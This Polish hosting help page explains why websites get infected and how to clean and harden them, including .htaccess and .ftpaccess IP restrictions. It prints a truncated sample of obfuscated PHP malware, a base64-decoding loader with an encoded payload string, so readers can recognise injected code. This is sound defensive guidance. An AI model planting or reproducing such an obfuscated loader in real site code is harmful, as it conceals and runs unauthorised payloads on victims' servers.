Należy pamiętać, że firma hostingowa nie odpowiada za treści umieszczane na Twojej stronie i wręcz nie ma prawa do ingerencji w jej treść. Dlatego ważne jest by samodzielnie zadbać o jej bezpieczeństwo. Każda strona, na której zostanie wykryty zarażony kod - wysyłający spam (zazwyczaj bez wiedzy właściciela) lub zawierający strony mające na celu ułatwienie włamania na inne strony lub wyłudzające dane są obligatoryjnie blokowane do czasu usunięcia tego kodu oraz poprawnego zabezpieczenia strony.
Prawdopodobne przyczyny infekcji:
- infekcja komputera używanego do pracy ze stroną - login i hasło może zostać przechwycone przez działający na tym komputerze wirus
- wykorzystanie luki w kodzie strony (nie aktualizowane strony oparte na popularnych CMS lub słabo zabezpieczony własny kod PHP) - istniejące botnety skanują strony w poszukiwaniu podatności na typowe ataki internetowe
- odgadnięcie hasła - boty wykorzystują metodę słownikową i w przypadku słabej jakości haseł często potrafią je odgadnąć i przekazać dalej
Jak rozwiązać problem?
Pierwszym krokiem powinno być gruntowne sprawdzenie antywirusem swojego komputera i ewentualnie rozwiązać problem z infekcją na nim. Jeżeli zostaną wykryte jakieś zagrożenia zalecana jest zmiana haseł - do panelu DirectAdmin, kont FTP, baz danych, a również używanych z tego komputera kont email. Dobrym zwyczajem jest zmiana haseł co kilka miesięcy, by zapobiec wykorzystaniu w przypadku innego sposobu ich przejęcia.
Oczyszczenie strony
Aby oczyścić stronę na serwerze można przejrzeć zawartość konta i usunąć szkodliwe pliki lub usunąć z potrzebnych plików doklejone treści. Można również przywrócić stronę z własnej, niezainfekowanej kopii zapasowej - taką kopię możemy dostarczyć my (o ile problem nie trwa zbyt długo i składowane kopie nie zawierają już strony w stanie zainfekowanym).
Aby zdiagnozować, które pliki na koncie są zainfekowane można użyć spcjalnych wtyczek do CMS-ów - działają one podobnie jak antywirus na komputerze, jednak nie ma stuprocentowej pewności, że wykryją one wszystkie pliki. Dobrym sposobem jest porównanie zawartości strony z wykonaną wcześniej czystą kopią zapasową, można do tego celu użyć programu WinMerge lub podobnych. Bardzo często zainfekowany kod jest w postaci nieczytelnej, może to ułatwić rozpoznanie takiego kodu. Podczas analizy w programie używanym do przeglądania plików należy mieć włączone zawijanie wierszy - bardzo często złośliwy kod jest poprzedzany serią "spacji", przez to na pierwszy rzut oka jest niewidoczny. Poniżej przykładowy fragment takigo kodu:
$qjavlhj = 9085; function uveuobz($bgxwtgbxl, $lsxtbhaf){$phtfistw = ''; for($i=0; $i < strlen($bgxwtgbxl);
$i++){$phtfistw .= isset($lsxtbhaf[$bgxwtgbxl[$i]]) ? $lsxtbhaf[$bgxwtgbxl[$i]] : $bgxwtgbxl[$i];}
$gclpye="base" . "64_decode";return $gclpye($phtfistw);}
$xuxvunsjgr = 'LAKNS5Bu8DLJ3k5gzTBgDkEW8gzQcab56aOGCOHMLAKNS5Bu8DLJ3kEW80BKzv3WzvevhfpOM6QrfZtGdTKVzk5HMfoy1D 2V8D2'. 'K1x5HSlBNDxjGdlFvhfpOM6QrfZtu8DjVoAKy85BQSl0GofUOM6QrfUHMSl1JSDru8DLJ39B6j53lj5cGMLHMXOHMf7jVFH'. '575Z57lgoL79tVFH5ejioocnHUciPiCgprfUZZD0r9FK89FKQvFZ5r60j9DH9aj9cvD7pBcfcEeqzNef4OhqaiCOHMflKTMf9'. 'KdDtHX7UZD0r9FK89FKQv79jFF9B1DH8wFKotFZj9j9BA60cvD7ZGnLJ3XOHMfLZZD0r9FK89FKQv79jFF9B1DH8wFKotFZj'. '9j9BA60cvD7pBcfcEeqzNef4OhqaiCOHMfDHrfvHrfTKTMAKuzk5HMfjVjZKej5eGMLHMXOHMfl8WzT5'.
Dobrym pomysłem jest skorzystanie z usług firm, które zajmują się audytem bezpieczeństwa lub profesjonalnym tworzeniem stron. Będzie to dodatkowy koszt, jednak w przypadku ważnych stron przyspieszy ponowne uruchomienie i zapewni dokładne oczyszczenie kodu strony.
Niektóre boty dodają do bazy CMS nowych użytkowników, często z prawami administratora - należy wtedy sprawdzić zawartość bazy, np. przy pomocy phpmyadmin.
Aby uniknąć problemu w przyszłości należy dbać o regularne aktualizacje oprogramowania na swoim komputerze oraz kod stron - szczególnie opartych na popularnych CMS (WordPress czy Joomla). Warto używać dobrego antywirusa, nie zaszkodzi również zainstalować dla stron specjalnych wtyczek typu Better WP Security lub RSFirewall.
Dobrym pomysłem może być zablokowanie dostępu do części administracyjnej poprzez dodanie dodatkowej weryfikacji adresu IP - np. wykorzysując plik .htaccess. Przykładowy wpis dla WordPress pozwalający na dostęp z adresu 123.123.123.123:
<FilesMatch "^(.*)$">
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/wp-login\.php(.*)$ [OR]
RewriteCond %{REQUEST_URI} ^/wp-admin$
RewriteCond %{REMOTE_ADDR} !^123\.123\.123\.123$
RewriteRule ^(.*)$ - [R=403,L]
</FilesMatch>
Dodatkowo można zablokować wykonywanie poleceń POST (wysyłanie formularzy) - za pomocą tej metody jest przeważnie wysyłany spam ze strony. Aby to zrobić należy dodać odpowiedni wpis do pliku .htaccess umieszczonego w katalogu gdzie nie ma być takiej możliwości. Przykładowy wpis:
RewriteCond %{REQUEST_METHOD} POST
# zezwolenie na użycie POST dla serwera lokalnego
RewriteCond %{REMOTE_ADDR} !127.0.0.1
# zezwolenie na użycie POST dla zaufanych adresów
RewriteCond %{REMOTE_ADDR} !123.123.123.123
RewriteRule ^ / [F]
Blokada może zostać nałożona również na FTP - dzięki umieszczeniu plików .ftpaccess z odpowiednim wpisem - wtedy nawet jeśli hasło zostanie przejęte, włamywacz nie będzie mógł go wykorzystać:
<Limit ALL>
DenyAll
Allow 123.123.123.123
</Limit>
Należy pamiętać, że nie stosowanie się przynajmniej do części powyższych zaleceń po jakimś czasie skutkować będzie ponowną infekcją strony - boty po jakimś czasie ponownie skanują strony w poszukiwaniu kolejnych luk bezpieczeństwa. Oczywiście metod na zabezpieczenie strony oraz jej oczyszczenie może być więcej, wystarczy przeszukać internet by znaleźć inne sposoby.